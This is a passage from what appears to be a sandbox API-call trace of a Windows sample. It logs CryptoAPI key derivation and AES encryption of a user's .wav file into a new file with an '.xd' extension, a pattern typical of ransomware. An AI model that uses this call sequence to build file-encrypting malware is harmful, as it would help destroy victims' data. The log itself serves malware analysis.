(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621738, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.160] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.160] CryptHashData (hHash=0x164c9b0, pbData=0x1629540, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.160] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.160] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.160] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.160] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.160] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621888, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.160] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.160] CryptDeriveKey (in: hProv=0x17abc38, Algid=0x6610, hBaseData=0x164c9b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0065.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.160] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.161] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.161] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.161] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.161] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.161] CryptDestroyHash (hHash=0x164c9b0) returned 1 [0065.161] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.162] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\s lyi1rdoj.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.162] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.162] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.162] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg")) returned 0x10 [0065.163] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\s Lyi1RDoJ.wav.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\s lyi1rdoj.wav.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.163] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.165] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.165] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x2e35, lpOverlapped=0x0) returned 1 [0065.166] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.168] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.168] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.168] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.168] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.168] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.169] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.169] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.169] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.169] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.169] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.169] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.169] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.169] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.169] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.169] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629620, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629620*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.169] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.169] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.169] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.170] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.170] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.170] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.170] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.170] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.170] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.171] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.171] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.171] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.171] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x2e35, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x2e40) returned 1 [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] CharLowerBuffW (in: lpsz="byte[11841]", cchLength=0xb | out: lpsz="byte[11841]") returned 0xb [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.171] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.172] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.172] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.172] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.172] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.172] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x187d010*, pdwDataLen=0x130e618*=0x2e35, dwBufLen=0x2e40 | out: pbData=0x187d010*, pdwDataLen=0x130e618*=0x2e40) returned 1 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.172] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.172] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.172] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.172] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.173] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.173] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.173] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.173] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x2e40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x2e40, lpOverlapped=0x0) returned 1 [0065.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.174] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.174] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.174] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.174] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.174] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.174] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.175] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.175] CryptDestroyKey (hKey=0x164c630) returned 1 [0065.175] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.178] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.178] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.178] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.178] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.178] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, 